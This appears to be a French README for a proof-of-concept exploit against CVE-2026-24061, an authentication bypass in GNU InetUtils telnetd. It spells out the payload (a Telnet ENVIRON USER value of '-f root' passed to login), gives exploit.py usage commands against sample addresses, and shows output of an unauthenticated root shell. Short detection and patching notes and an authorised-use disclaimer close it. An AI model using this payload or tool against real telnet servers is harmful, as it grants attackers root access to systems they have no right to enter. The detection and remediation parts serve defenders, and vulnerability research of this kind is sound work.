
Un exploit PoC pour CVE-2026-24061 - Contournement d'authentification par injection d'arguments dans telnetd de GNU InetUtils
Les versions 1.9.3 à 2.7 de GNU InetUtils sont vulnérables à un contournement d'authentification à distance dans le serveur telnetd. Le démon telnetd ne parvient pas à assainir correctement la variable d'environnement USER avant de la transmettre comme argument de ligne de commande au programme login(1). Lorsqu'un client telnet envoie une variable d'environnement USER contenant des indicateurs de ligne de commande (tels que -f root), telnetd transmet directement cette valeur non assainie au programme login. L'utilitaire login interprète l'indicateur -f comme une instruction de contournement de l'authentification, permettant à un attaquant d'obtenir un accès root non autorisé sans fournir d'identifiants.
Implémentation complète du protocole Telnet
DO, DONT, WILL et .WONTInjection automatique de charge utile
ENVIRON avec l'injection USER=-f root.Shell interactif
Gestion des connexions
Débogage verbeux
python3 exploit.py <cible> -p <port> [options]
| Argument | Description |
|---|---|
target | Adresse IP ou nom d'hôte de la cible |
| Option | Description |
|---|---|
-p, --port | Port cible (défaut : 23) |
-v, --verbose | Activer la sortie de débogage verbeuse |
-t, --timeout | Délai d'attente de connexion en secondes (défaut : 5) |
-k, --keepalive | Intervalle de maintien de connexion en secondes (défaut : 30) |
-h, --help | Afficher le message d'aide |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
Établissement de la connexion
Négociation du protocole
SGA, ECHO et ENVIRON).Livraison de la charge utile
WILL ENVIRON suivi de la charge utile de sous-négociation élaborée.Contournement de l'authentification
-f root est injecté dans login(1) pour contourner les vérifications d'identifiants.Session interactive
L'exploit exploite l'option Telnet ENVIRON (RFC 1572) pour injecter des arguments de ligne de commande dans la variable d'environnement USER.
Lorsque telnetd transmet cette valeur non assainie à login -f root, le programme login interprète -f comme un indicateur qui force le contournement de l'authentification, accordant un accès root sans vérification de mot de passe.
Le script d'exploit implémente :
WILL, WONT, DO, DONT)NOP de maintien de connexion pour maintenir la stabilité de la session$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Les administrateurs système peuvent détecter les tentatives d'exploitation en surveillant :
ENVIRON.USER contenant -f ou d'autres indicateurs de ligne de commande.Mettez à niveau vers la version 2.8 de GNU InetUtils ou appliquez le correctif de sécurité officiel qui assainit les variables d'environnement avant de les transmettre à login(1).
Cette preuve de concept est destinée uniquement à la recherche en sécurité, à la validation de vulnérabilités et aux environnements de test autorisés. Utilisez-la uniquement contre des systèmes pour lesquels vous disposez d'une autorisation explicite d'effectuer des évaluations de sécurité.